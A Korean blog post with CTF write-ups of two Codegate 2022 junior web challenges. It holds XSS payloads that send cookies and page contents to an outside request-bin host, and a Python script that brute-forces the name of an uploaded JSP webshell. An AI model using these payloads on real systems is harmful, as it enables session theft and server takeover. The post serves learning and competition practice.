CTF Reviewed & Writeups/Codegate CTF

2022 Codegate junior 복기

반응형
SMALL

Codegate 2022 junior 참가 후기

저는 이번에 열리는 codegate 2022년도 junior부분 예선대회를 참가해보았습니다.

대회는 총 24시간 동안 진행되었으며, 그 시간 동안 저는 WEB 부분 1문제와, 대회가 끝난 후 WEB 부분 1문제를 더 풀어 총 2문제를 풀었으며 676pts를 얻고 CTF를 마무리 지었습니다.

해당 포스트에서는 Codegate 2022 junior 부분 WEB 문제에 대해서 한번 writeup을 작성해보려고 합니다.

ohmypage

Description

Oh my page!

WriteUp - Prediction

처음 페이지에 들어가보게 되면 Main, Search, Report 3가지 페이지가 존재하는 것을 확인할 수 있습니다.

여기서 저는 Report라는 페이지가 있는것으로 보아 XSS를 이용해 Cookie를 탈취하는 것임을 짐작할 수 있었고,

자동적으로 해당 페이지에는 아래와 같은 기능이 동작되고 있을 것 같다는 생각을 할 수 있었습니다.

아래는 제가 한번 짐작해본 /report 부분의 예상 코드입니다.

// prediction code
const run_url = (req_url) => {
    return new Promise(async (resolve) => {
    const driver = new webdriver.Builder('chrome')
      .usingServer('http://selenium:4444/wd/hub/')
      .withCapabilities(capabilities)
      .build();
      
    await driver.get(req_url);
    await driver.quit();

    resolve();
  });
};

app.post("/send", (req, res) => {
	const url = req.body.url;
	const reponse = run_url(url);
    res.json({
    	status: 200,
        response: response
    });
  });
});

위와 같은 코드가 동작된다고 예상된다면, 해당 URL에 어떠한 flag가 담긴 Cookie를 설정해놓고, body 객체에 있는 url을 driver를 이용해 요청할 것입니다.

즉, 이와 같은 방식을 이용해서 flag를 얻기 위해서는 XSS가 일어나는 페이지를 찾아야만 했습니다.

WriteUp - Search

Codegate2022 Search page

Search 페이지에 접속해보면 input을 받고 해당 input을 URL 쿼리 스트링에 넣어서 요청하는 것을 확인할 수 있습니다 

<!-- Search page Script tag !-->
<script>
    function goSearch()
    {
        var text = document.getElementById('text').value;
        location.href="/search?text="+text;
    }
</script>

해당 문제에서는 SQL을 사용하지 않기 때문에 SQL Injection은 아닌것 같고, XSS일 확률이 큰 것으로 보아 저는 <script>alert("vuln test");</script>와 같은 페이로드를 작성해서 test 해보았습니다.

위와 같이 성공적으로 payload가 동작되고 Search page에서 XSS가 발생함을 알 수 있습니다.

WriteUp - Making Payload

이를 통해서 payload를 만들고 해당 payload를 report 페이지에서 실행시키면 flag를 획득할 수 있을 것이라 생각하였습니다.

작성한 payload는 아래와 같습니다. (dreamhack tools 서비스를 이용하였습니다.)

http://3.38.235.13:8881/search?text=<script>location.href=`https://biggsca.request.dreamhack.games?${document.cookie}`</script>

해당 payload를 report 페이지에서 실행시켜보았습니다.

payload 실행결과

하지만 아무것도 나오지 않았습니다, 확인해보니 httpOnly 속성 때문에 나오지 않는 것 같아서 "how to read httpOnly cookie"라고 검색해보았지만 좋은 방법이 나오지 않아서 엄청난 삽질을 했습니다.

WriteUp - Exploit

계속 삽질을 하다 보니 저는 문제 페이지에서 mypage라는 페이지를 뒤늦게 발견하게 되었고, 여기에서 특이한 특징을 찾을 수 있었습니다.

Codegate 2022 mypage

여기서 guest가 httpOnly 속성이 적용되어 있는 id Cookie랑 값이 동일한 것을 확인했습니다.

그래서 id Cookie의 값을 한번 "admin"으로 변경해보았습니다.

Codegate 2022 mypage after

짐작한 대로 id Cookie의 값이 바뀌면 mypage의 데이터도 바뀌는 것을 확인했습니다.

즉, 저는 이 문제를 풀 때 document.cookie로 값을 가져오는 것이 아닌 mypage의 html data를 가져와야 한다고 생각했습니다.

아래는 mypage의 html data를 가져올 수 있는 js 코드입니다.

var xhr = new XMLHttpRequest(); 
xhr.onreadystatechange = function() { 
    if (xhr.readyState == 4) {
        location.href = `https://wevcgte.request.dreamhack.games?${xhr.responseText.replace(/(\s*)/g, "").slice(1000)}`;
    };
};
xhr.open('GET', 'http://3.38.235.13:8881/mypage', true); 
xhr.send();

URL 최대 길이를 고려해서 payload를 작성하였습니다.

이를 /report에서 동작될 수 있도록 payload를 작성하면 아래와 같습니다.

http://3.38.235.13:8881/search?text=%3Cscript%3Evar%20xhr%20=%20new%20XMLHttpRequest();%20%20xhr.onreadystatechange%20=%20function()%20{%20if%20(xhr.readyState%20==%204)%20{%20location.href%20=%20`https://wevcgte.request.dreamhack.games?${xhr.responseText.replace(/(\s*)/g,%20%22%22).slice(1000)}`;%20};};%20%20xhr.open(%27GET%27,%20%27http://3.38.235.13:8881/mypage%27,%20true);%20%20xhr.send();%3C/script%3E

이를 /report 페이지에서 요청해보면 flag를 획득할 수 있습니다.

dream tools 서비스

FLAG : codegate2022{C00k1EHTTP0N1YANDX55}

imageboard

Description

kubera image board

WriteUp - Prediction

처음 들어가면 나오는 sign page 페이지에서 아무 닉네임이나 입력하고 접속해보면 write라는 버튼이 있는 것을 확인할 수 있습니다.

Codegate 2022 imageboard

write를 눌러서 확인해보면 title, content, file를 입력값으로 가지고 해당 게시물을 upload 할 수 있습니다.

저는 여기서 총 2가지의 취약점을 의심해볼 수 있었습니다.

1. XSS 취약점

2. file upload 취약점

WriteUp - vuln test

먼저, XSS 취약점부터 테스트를 해봤습니다, content 부분에 <script>alert("vuln test")</script>를 넣고 upload를 해보니 아래와 같이 XSS 취약점이 발생된 것을 확인할 수 있습니다.

하지만 해당 문제에서는 report와 같은 관리자가 방문하는 기능이 있는 것이 아니므로 XSS를 사용해서 cookie를 탈취하는 것이 아는 것 같다는 생각이 들었습니다.

file upload 취약점을 테스트해보려다 해당 취약점이 발생하는지 안 하는지 결과를 확인해 볼 수 없었기에

개발자 도구에 주석으로 쓰여 있는 github 소스코드를 참고해보았습니다.

개발자 도구 소스코드 링크

해당 링크로 가서 소스코드를 다운로드하면 boardRegSuccess.jsp 파일에 특이한 코드가 존재합니다. 

/* boardRegSuccess.jsp */
String savePath = "/usr/local/tomcat/webapps/codegate/upload";
		
SimpleDateFormat dtf = new SimpleDateFormat("yyyyMMddHHmmss");
Calendar calendar = Calendar.getInstance();

Date dateObj = calendar.getTime();
String formattedDate = dtf.format(dateObj);
Enumeration uploadFiles = multi.getFileNames();

String filename = (String)uploadFiles.nextElement();
filename = multi.getFilesystemName(filename);

File file = new File(savePath +"/"+ filename);
file.renameTo(new File(savePath +"/"+ formattedDate+ user + filename));

위는 file upload 부분의 코드만 가져와서 요약한 것입니다.

file을 savePath + "/" + "filename"의 형식으로 업로드하고 rename으로 file이름을 formattedDate + user + filename 형식으로 바꿉니다.

즉, 파일 안에 있는 내용 혹은 확장자를 아무런 검사 없이 저장하기 때문에 file upload 취약점이 발생합니다.

WriteUp - Exploit

취약점을 발견하고 저는 webshell을 file upload 취약점으로 업로드하고 이를 접근할 수 있으면 flag를 최종적으로 획득할 수 있을 것이라 생각했습니다.

처음에는 해당 Date가 한국 시간 기준인 줄 알고 계속 테스트해보다가 안되길래 replit java를 이용하여 formattedDate에 어떤 값이 저장되는지 확인해보았습니다.

/* replit java test code */
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;

public class Main {
  public static void main(String[] args) {
    SimpleDateFormat dtf = new SimpleDateFormat("yyyyMMddHHmmss");
    Calendar calendar = Calendar.getInstance();
    Date dateObj = calendar.getTime();
    String formattedDate = dtf.format(dateObj);
    System.out.println(formattedDate);
  }
}

replit result

최종적으로 한국 시간과 시차가 다른 것을 확인할 수 있었습니다.

따라서 jsp webshell을 업로드하고 해당 시간을 기준으로 formatted 시간을 brute force 해보면 filename을 알아낼 수 있습니다.

아래는 jsp webshell을 업로드한 후 최종 exploit payload입니다.

import requests

for i in range(1, 65):
    if i < 10:
        i = "0" + str(i)
    # url = "http://3.38.226.32/codegate/upload" + "/" + f"{formattedDate+username+webshellname}"
    url = "http://3.38.226.32/codegate/upload" + "/" + f"202202271606{i}admin1234shell.jsp"
    if "404" in requests.get(url, cookies={"JSESSIONID": "your sessionid"}).text:
        print(requests.get(url, cookies={"JSESSIONID": "your sessionid"}).text, url + "\n")
    else:
        print(url)
        break

payload 실행 결과

출력된 filename으로 접근해보면 webshell이 실행되고 "cat /flag"를 입력하면 flag를 얻을 수 있습니다.

Codegate 2022 imageboard

FLAG : codegate2022{94760f4679e5465cfc5cd63611f5e6e3a9365841a7549dfc35ed170ba9464ff9a0ca2d175e900acbb7594b6f6e23fda7f1c8cf5065}

정리

Codegate를 처음 나가면서 web 문제만 풀어보았는데, pwn과 rev 부류의 문제가 상당히 많이 나와서 당황했었습니다.

해킹을 배운 지 얼마 안 된 기간 동안 많은 CTF를 나가보면서 상대적으로 시스템 해킹과 관련된 문제가 많이 출제된다는 사실을 알았고 그로 인해서 저는 pwnable(시스템 해킹)을 꼭 배워야겠다는 생각을 할 수 있었던 것 같습니다.

2022 Codegate에서 본선은 못 갔지만 다음 2023 Codegate가 열린다면 그때는 꼭 본선을 갈 수 있도록 목표를 잡고 열심히 공부할 생각입니다.

반응형
LIST